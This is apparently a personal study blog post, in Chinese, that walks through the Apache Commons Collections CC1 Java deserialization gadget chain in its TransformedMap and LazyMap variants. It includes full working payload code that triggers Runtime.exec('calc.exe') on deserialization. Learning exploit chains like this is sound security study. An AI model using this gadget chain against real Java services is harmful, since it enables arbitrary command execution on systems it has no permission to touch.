TransformedMap

这是除yso中的LazyMap之外的另一种TransformedMap的链子
环境配置就不说了,网上太多教程了(实话说这环境配好好久了,每次调一半就开摆,这次一定一定不能摆了)
我们先从Transformer这个接口看起,来查找它的实现类
image.png

我们在直奔主题前看到这个东西

ChainedTransformer

这个代码我们瞅一眼它的transform方法
image.png
它的功能很显而易见就是实现了一个链式递归调用,将前一个的输出作为后一个的输入,gadget也是需要这样的东西来帮助自动调用链的
好了,我们现在直接进入主题

InvokerTransformer

很显然可以知道它继承了serializable,我们再去看看它的transform方法
image.png

显然它在用反射来动态调用我们输入的对象和方法,这些全是我们自己可控的,这一听就是个很危险的东西,专业点说就是任意方法调用

我们尝试用这个方法弹计算器(典!

1
//        Runtime.getRuntime().exec("calc.exe");

但我们刚才的目的是要试试这个方法来实现任意方法调用,那么很显然我们要用反射,我们先改写一下上面的payload

1
2
3
4
Runtime r = Runtime.getRuntime();  
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc.exe");

草,之前存的项目不能用,重新构建一次呜呜呜
image.png
终于可以了,感动
然后我们去用invokeTransformer
image.png
它的参数是方法名,参数类型(array,参数(array

所以我们先直接调用
用这一行代码就可以解决

1
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(r);

我们现在已经找到了危险方法InvokerTransformer.transform,我们接着往回找谁调用了transform方法,直接查找用法
image.png
当然,三十几个调用,为了节省时间我们直接进入Map类里吧
我们可以看到TransformedMap中的CheckSetValue方法里调用了valueTransformer的transform方法
我们去瞅瞅valueTransformer是什么
image.png
发现是可控的参数,于是我们可以尝试控制valueTransformer来控制我们跳转到invokeTransformer中去进行任意方法执行,但别忘了,它是一个protected方法,我们需要看看哪里调用了这个protected方法
image.png
最后我们找到了这个方法
所以我们可以通过调用这个方法来控制TransformedMap进而控制valueTransformer再进行任意方法执行
我们只需要这样子写

1
2
3
4
5
InvokerTransformer InvockerTransformer = (InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(r);  

HashMap<Object,Object> map = new HashMap<>();

TransformedMap.decorate(map,null,InvockerTransformer);

接下来我们继续向上找哪里调用了checkSetValue方法
image.png
发现了这处调用,而Entry的setValue是我们所熟悉的东西我们循环遍历这个Map,并且调用它的setValue方法
那我们只需要这样即可利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    public static void main(String[] args) throws Exception{  
// Runtime.getRuntime().exec("calc.exe");
Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method execMethod = c.getMethod("exec",String.class);
// execMethod.invoke(r,"calc.exe");
InvokerTransformer InvockerTransformer = (InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(r);

HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");

Map<Object,Object> transormedMap = TransformedMap.decorate(map,null,InvockerTransformer);
for(Map.Entry entry:transormedMap.entrySet()){
entry.setValue(r);
}
}

接下来我们看看谁调用了setValue方法image.png
我们发现直接有一个readObject方法调用了setValue方法
image.png
可以看清它是在遍历Map
我们看它的名字就知道它是动态代理那一水儿的东西
我们接下来看看这个Map是不是我们可控的
image.png
我们发现它就直接在构造函数里写着,那纯纯可控
那我们直接把我们刚写好的TransformedMap丢进去就行
但是我们看到这个类不是public,那default类型只能在相同包下才能访问,所以我们只能用反射了)

1
2
3
4
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transormedMap);

但目前有一个问题就是Runtime对象没办法序列化,因为它没有继承序列化接口
image.png
我们可以用反射来解决这个问题,它自己没办法实例化,那它的class呢
image.png
结果是显然的
那么我们可以这样写

1
2
3
4
5
 Class c = Runtime.class;  
java.lang.reflect.Method getRuntimeMethod = c.getMethod("getRuntime",null);
Runtime r =(Runtime) getRuntimeMethod.invoke(null,null);
java.lang.reflect.Method execMethod = c.getMethod("exec",String.class);
execMethod.invoke(r,"calc.exe");

但是我们需要写成这样才可以利用到这个循环

1
InvokerTransformer InvockerTransformer = (InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(r);

那么我们改写一下这一段

1
2
3
  Method getRuntimeMethod =(Method)  new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);  
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(r);

image.png
嗯,宣,这里这个InvokerTransformer真的调的人头晕)
这样Runtime就可以序列化了,而且这个是很符合我们之前看到了chainedTransformer,前一个的输出给后一个用,我们甚至可以设想用chainedtransformer来进行这一串
image.png
我们只需要把想调用的方法写在一个数组里就可以让chainedTransformer进行链式调用
也就是将代码写成这样

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{  
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer=(ChainedTransformer) new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

image.png

嗯,宣
接下来我们解开之前的注释
我们还需要把之前这里
image.png
改成chainedTransformer
但到现在我发现并不能执行
一步一步调试(no) 看别人找原因(yes)后发现问题在这里
image.png
通过源码我们可以看到(虽然我这里没截到)我们要调用的方法在这个if里,但是就目前来看我们这里的memberType是null,也就是进不去这个if,那我们要怎么办嘞,改!
它在这里image.png
获取它的type并查找,所以我们在这里不能用Override了,得重新想个办法(抄个方法)也就是找一个有成员方法的东西,而且因为它是根据数组中的key来查找它的成员方法,所以我们还要将key改名为它的成员方法名字
所以我们看到了target
image.png
没错就是这个target
image.png

它是有成员方法的
image.png
经过更改后我们发现它不是null了,那也就代表我们可以进去这个if了
image.png
是这样嘟,进去咯
image.png
到了我们想调用的方法了,如果这里可控制,那么我们就成功了
我们步入
image.png
发现是chainedTransformer没错倒是,但是value错了,在这里的valueTransformer.transform(value);就相当于我们刚才代码里的chainedTransformer.transform(Runtime.class);
所以这里的value应该是Runtime.class而不是现在程序里的那个值,草
继续看别人的,发现他们找到了一个叫做constantTransformer的东西,功能和他的名字一样就是传什么返回什么,那即使它这里改了我们的value,如果我们在chainedTransformer的开头调用这个constantTransformer,它到我们现在写的这个数组的开头
image.png
这里的输出是一定的,所以我们只需要在这个数组前调用constantTransformer就可以了,最后的数组如下
image.png

这样我们就可以做到了,我们尝试运行

image.png
嗯,宣,成功力
进行一个庆祝,CC1应该还差一个LazyMap没调,明天一定)

LazyMap

这二者之间的不同是来自于查找Transform方法调用的时候,也就是上一篇笔记的这里
image.png
不止TransformedMap中有方法调用了transform,根据我当时的截图可以看到一共有三个Map中都有调用,我们这里要走的就是另外一条LazyMap这条链子
我们看到在这里,get方法调用了transform方法,这个不和上一个一样,找到这里发现直接是readObject调用,这里我们需要继续去查找谁调用了get,但是真的好多,查了一大堆
我们先看看它调用transform的这个factory是否可控,其实我们只需要传的时候传成chainedTransformer,并且能走到这个if里面就可以了
image.png
然后直接看了yso,发现是
image.png
眼熟吧,很眼熟
我们直接去找这个类
image.png
这俩忘记消掉的断点就知道了
我们跟着yso去瞅瞅它的invoke方法
image.png
发现这里调用了get方法而且根据昨天的调试我们知道这个membervalue是可控的,AnnotationInvocationHandler它属于一个动态代理,扒拉完之前的笔记
image.png
也就是说只要外面有方法调用,就会转发到invoke进行处理,也就是说这个我们可以类比于PHP中的魔术方法了,自动调用的那种,像call但如像
所以我们需要先弄一个动态代理
还是得复习之前的笔记呜呜呜我好菜
我们看到yso发现他还是在用之前的readObject
那么我们先看看这个调用了get而且具有参数可控条件的invoke方法如何才可以成功调用
image.png
很明显,尽可能地不去调用equals方法,也不要参数类型的长度不等于0,emmmm直白点就是别调用readObject中的有参方法
image.png
这不就是了喵
所以我们接下来开始写一下
鉴于chainedTransformer那里没变,我们只需要注释后面的就可以了
image.png
我们发现LazyMap中有两个decorate方法,我们去调用后者,因为我们最后是要把chainedTransformer放进去的
接下来我们需要弄一个动态代理来实现它的invoke方法调用
其实这里我有点忘记了hhhh,翻翻笔记
image.png
找到了这个
因为我们要代理的是一个Map所以我们需要这样构造

1
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},lazymapInvocationHandler);

接下来因为我们还需要走到readObject中,所以我们再次使用上一个的最后一部分,记得这里的transformedMap要改成mapProxy了
image.png
于是我们尝试运行
image.png
嗯,宣
最后代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Transformer[] transformers = new Transformer[]{  
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer=(ChainedTransformer) new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();

Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler lazymapInvocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},lazymapInvocationHandler);

Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy);
serialize(o);
unserialize("ser.bin");

结束力!!今天好快,今天估计能把CC2搞完喵